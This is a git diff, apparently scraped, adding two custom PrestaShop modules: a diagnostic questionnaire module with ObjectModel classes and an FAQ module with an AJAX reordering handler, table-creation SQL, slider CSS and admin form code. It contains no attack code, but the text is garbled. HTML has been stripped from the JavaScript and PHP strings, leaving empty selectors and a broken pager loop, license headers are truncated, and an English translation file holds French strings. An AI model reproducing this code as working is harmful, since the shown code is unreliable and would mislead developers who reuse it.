setTickerHover(){$parent.hover(function(){if(autoPlaying){base.stopTicker(false);}},function(){if(autoPlaying){base.startTicker(false);}});} +function setChildrenFade(){$children.not(':eq('+currentSlide+')').fadeTo(options.speed,0).css('zIndex',98);$children.eq(currentSlide).css('zIndex',99).fadeTo(options.speed,1,function(){isWorking=false;if(jQuery.browser.msie){$children.eq(currentSlide).get(0).style.removeAttribute('filter');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});};function makeSlideActive(number){if(options.pagerType=='full'&&options.pager){$('a',$pager).removeClass(options.pagerActiveClass);$('a',$pager).eq(number).addClass(options.pagerActiveClass);}else if(options.pagerType=='short'&&options.pager){$('.bx-pager-current',$pager).html(currentSlide+1);}} +function showControls(nextType,nextContent,prevType,prevContent){var $nextHtml=$('');var $prevHtml=$('');if(nextType=='text'){$nextHtml.html(nextContent);}else{$nextHtml.html('');} +if(prevType=='text'){$prevHtml.html(prevContent);}else{$prevHtml.html('');} +if(options.prevSelector){$(options.prevSelector).append($prevHtml);}else{$outerWrapper.append($prevHtml);} +if(options.nextSelector){$(options.nextSelector).append($nextHtml);}else{$outerWrapper.append($nextHtml);} +$nextHtml.click(function(){base.goToNextSlide();return false;});$prevHtml.click(function(){base.goToPreviousSlide();return false;});} +function showPager(type){var pagerQty=$children.length;if(options.moveSlideQty>1){if($children.length%options.moveSlideQty!=0){pagerQty=Math.ceil($children.length/options.moveSlideQty);}else{pagerQty=$children.length/options.moveSlideQty;}} +var pagerString='';if(options.buildPager){for(var i=0;i'+i+'';}}else if(type=='short'){pagerString=''+(options.startingSlide+1)+' '+options.pagerShortSeparator+' '+$children.length+'';} +if(options.pagerSelector){$(options.pagerSelector).append(pagerString);$pager=$(options.pagerSelector);}else{var $pagerContainer=$('
          ');$pagerContainer.append(pagerString);if(options.pagerLocation=='top'){$outerWrapper.prepend($pagerContainer);}else if(options.pagerLocation=='bottom'){$outerWrapper.append($pagerContainer);} +$pager=$('.bx-pager',$outerWrapper);} +$pager.children().click(function(){if(options.pagerType=='full'){var slideIndex=$pager.children().index(this);if(options.moveSlideQty>1){slideIndex*=options.moveSlideQty;} +base.goToSlide(slideIndex);} +return false;});} +function showCaptions(){var caption=$('img',$children.eq(currentSlide)).attr('title');if(caption!=''){if(options.captionsSelector){$(options.captionsSelector).html(caption);}else{$('.bx-captions',$outerWrapper).html(caption);}}else{if(options.captionsSelector){$(options.captionsSelector).html(' ');}else{$('.bx-captions',$outerWrapper).html(' ');}}} +function showAutoControls(startType,startContent,stopType,stopContent){$autoControls=$('');if(startType=='text'){$startContent=startContent;}else{$startContent='';} +if(stopType=='text'){$stopContent=stopContent;}else{$stopContent='';} +if(options.autoControlsSelector){$(options.autoControlsSelector).append($autoControls);}else{$outerWrapper.append('
          ');$('.bx-auto',$outerWrapper).html($autoControls);} +$autoControls.click(function(){if(options.ticker){if($(this).hasClass('stop')){base.stopTicker();}else if($(this).hasClass('start')){base.startTicker();}}else{if($(this).hasClass('stop')){base.stopShow(true);}else if($(this).hasClass('start')){base.startShow(true);}} +return false;});} +function checkEndControls(){if(!options.infiniteLoop&&options.hideControlOnEnd){if(currentSlide==firstSlide){$('.bx-prev',$outerWrapper).hide();}else{$('.bx-prev',$outerWrapper).show();} +if(currentSlide==lastSlide){$('.bx-next',$outerWrapper).hide();}else{$('.bx-next',$outerWrapper).show();}}} +function getSlidePosition(number,side){if(side=='left'){var position=$('.pager',$outerWrapper).eq(number).position().left;}else if(side=='top'){var position=$('.pager',$outerWrapper).eq(number).position().top;} +return position;} +function getWrapperWidth(){var wrapperWidth=$firstChild.outerWidth()*options.displaySlideQty;return wrapperWidth;} +function getWrapperHeight(){var wrapperHeight=$firstChild.outerHeight()*options.displaySlideQty;return wrapperHeight;} +function getArraySample(array,start,length,direction){var sample=[];var loopLength=length;var startPopulatingArray=false;if(direction=='backward'){array=$.makeArray(array);array.reverse();} +while(loopLength>0){$.each(array,function(index,val){if(loopLength>0){if(!startPopulatingArray){if(index==start){startPopulatingArray=true;sample.push($(this).clone());loopLength--;}}else{sample.push($(this).clone());loopLength--;}}else{return false;}});} +return sample;} +this.each(function(){base.initShow();});return this;} +jQuery.fx.prototype.cur=function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];} +var r=parseFloat(jQuery.css(this.elem,this.prop));/* START PATCH Patch applied on top of library version 3.0 (see https://github.com/wandoledzep/bxslider/issues/89) Empty strings, null, undefined and "auto" are converted to 0, complex values such as "rotate(1rad)" are returned as is, simple values such as "10px" are parsed to Float.*/return isNaN(parsed = parseFloat(r)) ? !r || r === "auto" ? 0 : r : parsed;/* END PATCH - BEFORE PATCH WAS return r; */}})(jQuery); \ No newline at end of file diff --git a/modules/devspediagnostic/logo.gif b/modules/devspediagnostic/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/devspediagnostic/logo.gif differ diff --git a/modules/devspediagnostic/logo.png b/modules/devspediagnostic/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/devspediagnostic/logo.png differ diff --git a/modules/devspediagnostic/masquerquestion.php b/modules/devspediagnostic/masquerquestion.php new file mode 100755 index 0000000..8eff0bb --- /dev/null +++ b/modules/devspediagnostic/masquerquestion.php @@ -0,0 +1,86 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Masquerquestions extends ObjectModel +{ + public $id_masquerquestion; + + public $id_question_1; + public $id_reponse_1; + public $id_question_2; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspediagnostic_masquerquestions', + 'primary' => 'id_masquerquestion', + 'multilang' => false, + 'fields' => array( + // 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + // 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => false), + + // Lang fields + 'id_question_1' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_reponse_1' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_question_2' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + // echo "test2"; + // die(); + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + // $res &= Db::getInstance()->execute(' + // INSERT INTO `'._DB_PREFIX_.'devspediagnostic` (`id_shop`, `id_item`) + // VALUES('.(int)$id_shop.', '.(int)$this->id.')' + // ); + return $res; + } + + public function delete() + { + $res = true; + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + return true; + } + +} diff --git a/modules/devspediagnostic/reorientation.php b/modules/devspediagnostic/reorientation.php new file mode 100755 index 0000000..f4f671c --- /dev/null +++ b/modules/devspediagnostic/reorientation.php @@ -0,0 +1,97 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Reorientations extends ObjectModel +{ + public $id_reorientation; + + public $id_question_1; + public $id_reponse_1; + public $id_question_2; + public $id_reponse_2; + public $id_question_3; + public $id_reponse_3; + public $id_question_4; + public $id_reponse_4; + // public $id_product; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspediagnostic_reorientations', + 'primary' => 'id_reorientation', + 'multilang' => false, + 'fields' => array( + // 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + // 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => false), + + // Lang fields + 'id_question_1' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_reponse_1' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_question_2' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + 'id_reponse_2' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + 'id_question_3' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + 'id_reponse_3' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + 'id_question_4' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_reponse_4' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + // echo "test2"; + // die(); + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + // $res &= Db::getInstance()->execute(' + // INSERT INTO `'._DB_PREFIX_.'devspediagnostic` (`id_shop`, `id_item`) + // VALUES('.(int)$id_shop.', '.(int)$this->id.')' + // ); + return $res; + } + + public function delete() + { + $res = true; + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + return true; + } + +} diff --git a/modules/devspediagnostic/substitution.php b/modules/devspediagnostic/substitution.php new file mode 100755 index 0000000..a0ee6b1 --- /dev/null +++ b/modules/devspediagnostic/substitution.php @@ -0,0 +1,85 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Substitutions extends ObjectModel +{ + public $id_substitution; + + public $id_product_1; + public $id_product_2; + // public $id_product; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspediagnostic_substitutions', + 'primary' => 'id_substitution', + 'multilang' => false, + 'fields' => array( + // 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + // 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => false), + + // Lang fields + 'id_product_1' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_product_2' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + // echo "test2"; + // die(); + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + // $res &= Db::getInstance()->execute(' + // INSERT INTO `'._DB_PREFIX_.'devspediagnostic` (`id_shop`, `id_item`) + // VALUES('.(int)$id_shop.', '.(int)$this->id.')' + // ); + return $res; + } + + public function delete() + { + $res = true; + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + return true; + } + +} diff --git a/modules/devspediagnostic/translations/en.php b/modules/devspediagnostic/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspediagnostic/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/devspediagnostic/translations/index.php b/modules/devspediagnostic/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspediagnostic/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspediagnostic/upgrade/install-1.2.1.php b/modules/devspediagnostic/upgrade/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/modules/devspediagnostic/upgrade/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + '.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/modules/devspefaq/ajax_devspefaq.php b/modules/devspefaq/ajax_devspefaq.php new file mode 100755 index 0000000..f5f6705 --- /dev/null +++ b/modules/devspefaq/ajax_devspefaq.php @@ -0,0 +1,70 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('devspefaq.php'); + +$context = Context::getContext(); +$home_faqr = new devspefaq(); +$faqs = array(); + +if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_faqr->secure_key || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updatefaqsPosition' && Tools::getValue('faqs')) +{ + + $faqs = Tools::getValue('faqs'); + + foreach ($faqs as $position => $id_faq) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspefaq_item` SET `position` = '.(int)$position.' + WHERE `id_devspefaq_item` = '.(int)$id_faq + ); + + } + + $home_faqr->clearCache(); +} +if (Tools::getValue('action') == 'updatefaqsThemePosition' && Tools::getValue('faqs')) +{ + + $faqs = Tools::getValue('faqs'); + + foreach ($faqs as $position => $id_faq) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspefaq_theme` SET `position` = '.(int)$position.' + WHERE `id_faq_theme` = '.(int)$id_faq + ); + + } + + $home_faqr->clearCache(); +} + + diff --git a/modules/devspefaq/bx_styles.css b/modules/devspefaq/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/devspefaq/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/devspefaq/devspefaq.php b/modules/devspefaq/devspefaq.php new file mode 100755 index 0000000..c31c25a --- /dev/null +++ b/modules/devspefaq/devspefaq.php @@ -0,0 +1,1035 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'devspefaq/faqItem.php'); +include_once(_PS_MODULE_DIR_.'devspefaq/faqTheme.php'); + +class devspeFaq extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'devspefaq'; + + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion de la FAQ'); + $this->description = $this->l('Administrer la faq'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('top') && $this->registerHook('actionShopDataDuplication')) + { + $res = $this->createTables(); + + return $res; + } + return false; + } + + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('devspefaq_WIDTH'); + // $res &= Configuration::deleteByName('devspefaq_HEIGHT'); + // $res &= Configuration::deleteByName('devspefaq_SPEED'); + // $res &= Configuration::deleteByName('devspefaq_PAUSE'); + // $res &= Configuration::deleteByName('devspefaq_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* faqs */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefaq` ( + `id_devspefaq_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_devspefaq_item`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* faqs configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefaq_item` ( + `id_devspefaq_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `id_theme` int(11) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_devspefaq_item`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* faqs lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefaq_item_lang` ( + `id_devspefaq_item` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + `subtitle` varchar(255) NOT NULL, + `description` text NOT NULL, + `legend` varchar(255) NOT NULL, + `url` varchar(255) NOT NULL, + + PRIMARY KEY (`id_devspefaq_item`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* faqs configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefaq_theme` ( + `id_faq_theme` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_faq_parent` int(10) unsigned NOT NULL, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_faq_theme`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* faqs lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefaq_theme_lang` ( + `id_faq_theme` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + + PRIMARY KEY (`id_faq_theme`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $faqs = $this->getItemsFaq(); + foreach ($faqs as $faq) + { + $to_del = new faqItem($faq['id_faq']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'devspefaq`, `'._DB_PREFIX_.'devspefaq_item`, `'._DB_PREFIX_.'devspefaq_item_lang`, `'._DB_PREFIX_.'devspefaq_theme`, `'._DB_PREFIX_.'devspefaq_theme_lang`; + '); + } + + public function getContent() + { + // Languages preliminaries + $languages = Language::getLanguages(false); + $iso = $this->context->language->iso_code; + $divLangName = 'cpara¤dd'; + + // xml loading + $xml = false; + if (file_exists($this->_xmlFile)) + if (!$xml = @simplexml_load_file($this->_xmlFile)) + $this->_html .= $this->displayError($this->l('Your text is empty.')); + + // TinyMCE + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->_html .= ' + + + + '; + else + { + $this->_html .= ' + + '; + } + $this->_html .= $this->headerHTML(); + $this->_html .= '

          '.$this->displayName.'.

          '; + + /* Validate & process */ + if (Tools::isSubmit('submitfaq') || Tools::isSubmit('delete_id_faq') || + Tools::isSubmit('submittheme') || Tools::isSubmit('delete_id_theme') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('addfaq') || (Tools::isSubmit('id_faq') && $this->faqExists((int)Tools::getValue('id_faq')))) + $this->_displayAddItemForm(); + elseif (Tools::isSubmit('addtheme') || (Tools::isSubmit('id_theme') && $this->faqThemeExists((int)Tools::getValue('id_theme')))) + $this->_displayAddThemeForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* THEME FAQ */ + + $faqs = $this->getItemsTheme(); + + $this->_html .= '

          '; + + /* Begin fieldset faqs */ + $this->_html .= ' +
          + '.$this->l('Gestion des thèmes').' + + + '.$this->l('Ajouter un thème').' + + '; + + /* Display notice if there are no faqs yet */ + if (!$faqs) + $this->_html .= '

          '.$this->l('Aucun thème créé').'

          '; + else /* Display faqs */ + { + $this->_html .= ' +
          +
            '; + foreach ($faqs as $faq) + { + $this->_html .= ' +
          • '; + if($faq['id_faq_parent']==0) + $this->_html .= 'Thème '.$faq['id_theme'].' : '.$faq['title'].""; + else + $this->_html .= 'Thème '.$faq['id_faq_parent'].' > Thème '.$faq['id_theme'].' : '.$faq['title']; + + $this->_html .= ' +

            '. + $this->displayStatus($faq['id_theme'], $faq['active']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + + + + /* ITEMS FAQ */ + + /* Gets faqs */ + $faqs = $this->getItemsFaq(); + + $this->_html .= '

          '; + + /* Begin fieldset faqs */ + $this->_html .= ' +
          + '.$this->l('Gestion des questions réponses').' + + + '.$this->l('Ajouter un item').' + + '; + + /* Display notice if there are no faqs yet */ + if (!$faqs) + $this->_html .= '

          '.$this->l('Aucune question créée').'

          '; + else /* Display faqs */ + { + $this->_html .= ' +
          +
            '; + foreach ($faqs as $faq) + { + $this->_html .= ' +
          • + Thème '.$faq['id_theme'].' : '.$faq['title'].' +

            '. + $this->displayStatus($faq['id_faq'], $faq['active']).' + + +

